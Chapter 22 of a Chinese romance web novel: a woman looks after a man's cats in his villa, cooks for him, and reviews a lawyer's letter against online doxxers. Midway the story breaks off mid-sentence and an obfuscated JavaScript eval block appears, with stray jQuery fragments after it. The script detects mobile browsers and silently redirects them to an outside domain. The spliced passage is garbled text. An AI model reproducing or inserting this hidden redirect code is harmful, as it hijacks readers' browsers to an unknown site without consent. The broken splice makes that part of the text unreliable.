22.第 22 章
作品:《听风吟夏》 他住的房子是栋三层带地下室的独栋小别墅,整体装修风格很中式古朴,不像是年轻喜欢的北欧简约轻奢格调。
沈桯提着航空箱直接上了二楼,是个巨大的会客厅,五只猫各自盘踞在不同角落,慵懒地舔舐猫毛。
“我爷爷以前住这里,搬出去后空着也是空着,距离我上班近,就搬进来住了。三楼有很多客房,你自己挑一间。”
他把航空箱的门打开,喷了些费洛蒙减缓应激,“需要工作室的话,有一间套房带小书房,朝向荷花公园。”
她上楼扫了眼沈桯说的套房,是个坐北朝南的房间,远处可眺望到衰败的荷花,近可欣赏门前的植物阳光房,眼花缭乱叫不出名的花花草草长势喜人。
隔壁是沈桯的起居室,两间房的阳台连在一起,没有隔断。她走过去看了眼,玻璃推拉门没上锁,他卧室的陈设一目了然。
倾斜的日光从阳台爬进来细细的一条,光影里的尘埃幽幽浮动,一只缅因猫迈着优雅的步伐落座在明亮光线里,瞳色是与光一样的金色。
猫界里温柔的巨人,长得很唬人,实际上是个嗲精嘤嘤怪。
倪夏主动伸出手想摸它,它却做了个出乎意料的行为,站直了身子抻长前腿要抱抱,嘴里发出绵长的喵呜。
她哭笑不得地抱它下楼,它也颇为乖巧温顺地趴在肩头,东张西望,打量这并不陌生的环境。
倪夏逡巡一圈二楼的角落,蹲下来放走缅因,安抚略微紧绷的面哥和茶姐,话是对沈桯说的,“二楼的监控我可以查看吗?只看猫的那部分。”
她想了想,还是和他解释清楚,“剪视频要用到,没别的意思。”
“可以。”她说得一板一眼,好像是在宣告重大的机密要闻,他嘴角噙着微末的笑意,报出一串数字,“机房在地下室,你随时都能查看。”
面哥和茶姐社会化训练从小就做,不属于自己的地盘熟悉一下也很快自如地在会客厅晃悠起来,相当自来熟。
倪夏想将航空箱收起,沈桯比她动作更快一步,拿起箱子放进隐形墙柜,又帮她把行李箱搬上三楼。
她玩着逗猫棒跟在身后,问他:“你怎么养这么多只?”
“地下车库捡的。”
那五只猫一个个被他养得膘肥体壮,她伸了个懒腰,脸上柔意很深,“你真的很喜欢猫。”
“它们五个是高敏感性格,容易分离焦虑,没人陪伴不行。”对于她对答案的执着,他直言不讳地讲,“小时候父母常不在身边,猫陪我的时间比人长久,它们智商虽然不高,但你很难否认它的存在给你带来的感受。”
倪夏怔然,为自己挑起他不美好的过往而略感尴尬。她真心实意地道了个歉,“喜欢没那么多理由,存在即合理。”
她从行李箱翻出鲨鱼夹,手拢住长发轻轻一挽,用鲨鱼夹固定住头发,多出来的更部分像鸡毛掸子一样,随着她的动作上下动弹。捋起的衬衫袖子至手肘关节处,露出的皮肤在日光照耀下又亮又白。
沈桯错开视线,抬脚往隔壁房间走,“我回临海别墅,猫的话就拜托你这段时间照看下,有什么搞不定随时问我。”
“不必,那样太麻烦了,而且你的猫不一定会买我的账,更需要的是你。”
夏末初秋,温度不高不低的时节里,她和沈桯开启了同居生活。
如沈桯所言,上麟苑是块好地段,和老小区的喧嚣天差地别,这里环境清幽,窗外随处可见宜人景色。头天她心有余悸失眠了小半夜,次日起睡得十分沉稳,精气神肉眼可见的变好。
猫可活动的范围变大了,也变得更活泼爱动,她去机房拷贝下来视频查看的时候,总能收获意外惊喜,这也让她对表情包的设计思路在脑中变得清晰起来。
在截止日期前一口气设计了十五张动态表情,配以文字,特别符合当代牛马的精神状态。
由于赶时间,她的设计整体上的细节没精修,发给梨木后还没能从设计图里抽身,陆陆续续又画了九张,中途卡顿的时候她就抱着电脑去会客厅,捕捉一些实时动态,顺便用激光笔和一群猫玩捉迷藏。猫尽兴了,她也记录下来很多灵感。
这几天沈桯早出晚归,倪夏基本见不到他人影,仅从相连的阳台半夜透出的灯光和窸窣的水声得知他回来过。
沈桯很少开火做饭,冰箱里是一排排可乐和饮用水,她过来后进货了些需要冷藏冷冻的猫用品,还有一些通用食材,一视同仁地给全体猫每日开小灶。
今晚她照旧下到一楼,从冰箱里摸出鸡胸肉、南瓜、虾仁、西蓝花,用水果刀切成块状,混一起放搅拌器里做猫饭,隐约听见从客厅里传来播报声:门锁已开,请按把手。
她条件反射握紧水果刀,拿出手机直接给沈桯微信电话,越靠近大门,铃声愈发响亮,但不是她的。
对面接起,门也随之打开,沈桯举着手机对准话筒,目光落在她脸上,眉梢轻抬:“你这是?”
右手拿刀的架势不像演的,一脸的警惕与防备,以及不动声色的慌张。
倪夏卸下一口气,水果刀假模假样在空中比划两下,装回刀鞘,“过渡反应,抱歉。”
“理解。”他换上拖鞋,余光瞥见鞋柜里的明显小很多码的女鞋,眼神动了动,“不过你玩刀的样子,有些生硬。”
坐进客厅沙发,沈桯仰面靠着沙发背,闭眼揉着眉间,冒出青色胡茬的下巴显得人有些疲惫,她仔细看过去,眼下一层淡青色。
“看破不说破。”
沈桯单手支着扶手,撑住脑袋,姿态舒展又松弛,撩起半阖着的眼皮,眼神不如以往清亮,亦有倦意,嘴上不忘调侃:“记下了,下次一定。”
厨房里的定时器嘀嘀,提醒着倪夏猫饭做好了,肉香味弥散在空气里,夹杂着南瓜的香甜。闻上去感觉味道不会太差。
“你做饭了吗?我今天事情有点多,没吃上几口,可以吃点?”
他说着,落在她眼里的目光多了份低柔的请求,好像她是这间厨房的管事,没有号令不准放饭。
见她久不回应,他重复道:“可以赏口饭吃吗?”
“当然,你的厨房。”说到一半,她去厨房里端出来糊糊状的猫饭,送上楼前给他看了眼,“人吃的要再等会儿,面条怎么样?”
“好,原住民比我有口福。”沈桯笑了下,想起海边别墅的那碗面条,味道其实还不错。
倪夏把猫饭均匀分装进碗里,七只猫撒开了脚丫子奔过来,迫不及待地大快朵颐。就这么会儿时间,她关好二楼房门下楼,就看见沈桯就那么单手支颐陷入沉睡,却又在听到脚步声时迅速睁眼,视线笔直地投射过来,没什么实质焦点地滑过。
她张了张嘴想说点什么,又觉得问无可问。无非是事业应酬,无非是生活交际,问太多显得不明智,也越界。普通朋友讲究点到为止。
“你先洗个澡?”倪夏边提议,边从冰箱里拿出剩下的虾仁,敲了两颗鸡蛋,开火煮面。
沈桯嗯了声,拖着疲惫的身体直接坐电梯去了三楼,等他洗漱好裹着浴巾下去,手机微信震动两下,倪夏发来消息:[在桌上,我去睡觉了。]
餐桌的橘色灯亮着,面条热气腾腾,轻烟缕缕往上飘,显得这屋子不再冷清,烟火气慢慢渗进来。
落地窗的窗帘没拉,隔壁房的灯光反射到她这边阳台,室内生出些许光亮,半明半昧。她起身去合上窗帘,门外的脚步声由远及近,途径她门口,停在隔壁门前,紧接着隔壁的灯灭了。
手机屏幕推送进来一条消息:[味道很棒,祝你今晚好梦。]
他永远不会冷落她的消息。
-
距离世宠会的日子越来越近,倪夏没有来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472287|184966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心慌,案子的结果还没得到警方的通知,脚下仿佛是踏在虚空中,屋外的动静好似虚空骤然生出的裂缝,滋啦破裂的动静刻划着神经,她不太愿出门。
手头上倒是兢兢业业地做了亚克力和徽章的模型,联系商家定制,成品的发货速度比她预想的快,很快寄送上门。
沈桯自那晚之后回来得更晚,她睡得迷迷糊中听见门扉开合声,响动细弱如蚊蝇,似真非真。
这天她去把门口的快递拿进来清点,沈桯发消息给她说待会儿徐远之会上门一趟,送个东西就走。
倪夏还没能把名字和人对上号,她也不在乎,抱着两大箱小玩意儿倒在客厅毛毯上,五花八门的表情在毛毯里或哭或笑,斜着眼睛直勾勾瞪向远方。金属徽章不同角度折射出斑斓色彩,她坐在一片彩虹海里。
徐远之来的时候她正盘着腿在塑料猫的包围圈里,一个个组装好的亚克力小猫东倒西歪,手里抱着笔记本电脑,空出来的另外一只手也没闲着,纤长的手指在屏幕上盲打,速度快得惊人。
头发用鲨鱼夹固定在脑勺偏上的位置,碎发用束发带全部拢得服帖,露出一张不施粉黛,清丽脱俗的脸,嘴里叼着一根细吸管,时不时弯腰去喝沙发上瓶身歪斜的酒水。
对于他这位来访的客人,倪夏目动身未动,“你自己找个地方放吧。”
徐远之一身正装,剪裁贴身得体,金丝边的镜框眼镜很衬他,至少表面上是个彬彬有礼的矜贵斯文公子,至于镜片之下的真面目,倪夏总觉得像雨后的潮湿水汽,滋生出很多危险因子。
徐远之任她悄无声息地打量,他将手中的文件袋放茶几上,食指轻轻一用力,文件袋像是没重量一般,滑到她眼前。
他颇为讲究整理了下衣袖,宝蓝色的袖扣折射出的清光照不亮他的漆黑深沉的眼,他面露笑意,语调是让觉得很客气的那种,“ok,你看下内容有无纰漏。”
他说着,离开的方向不是大门,而是径直去了三楼沈桯的房间。
沈桯的房间和她是同款设计,小书房朝向不同,徐远之在书房的抽屉里翻找一遍无果,去到卧室里搜寻,半晌后终于床头柜屉子里找到U盘。
一抬眸,便看见背靠阳台栏杆的女人,双臂手肘撑在身两侧的栏杆上,白纸黑字在她掌心里变成了一把蒲扇。
她一下又一下扇着,黑亮的发丝抚摸着她的脸颊,曜日下的杏眼微微眯起,像猫像狐狸,像她手心里捉不着的风。
允许他为沈桯默哀三秒,如此鞍前马后也是能理解了。
倪夏沐浴着阳光,目光落在他手里的U盘上,“不是送东西?”
徐远之反应过来后笑了下,咂咂嘴,“这么说吧,公司召开的新品发布会出了些问题,原本的项目被掉包,目前需要备用顶上,沈桯预料到了这一切。”
“那很厉害了,打算怎么奖励他?”
“说笑了,公司是他开的,我只是合伙人之一。不过你说得有理,奖励还是要的。”
“这样,那你可以给出一部分股份,作为奖励。”
徐远之:“……”
徐远之挑眉,问她:“律师函里面的名单没问题的话,就可以正式起诉了。”
倪夏漫不经心地甩给他一个好字,她就大概地浏览了一遍,再联想到沈桯在警局里和人通话时提及的字眼,还有什么不明白的。
“警方那边还没正式给回复。”
“有一定侦破难度,开盒的网站在境外,网站的幕后推手多半也跑国外躲着在呢,现在名单上你能看到的这些,多数都是在国内翻墙的,沈桯破译找出来不难,违法犯罪的一个别想跑。”
徐远之走了没多久,倪夏慢吞吞去收拾客厅,神思恍惚间收到沈桯发来的消息:[刚刚徐远之说你有个新名字:倪扒拉。]
倪夏:[做律师的果然嘴巴毒。]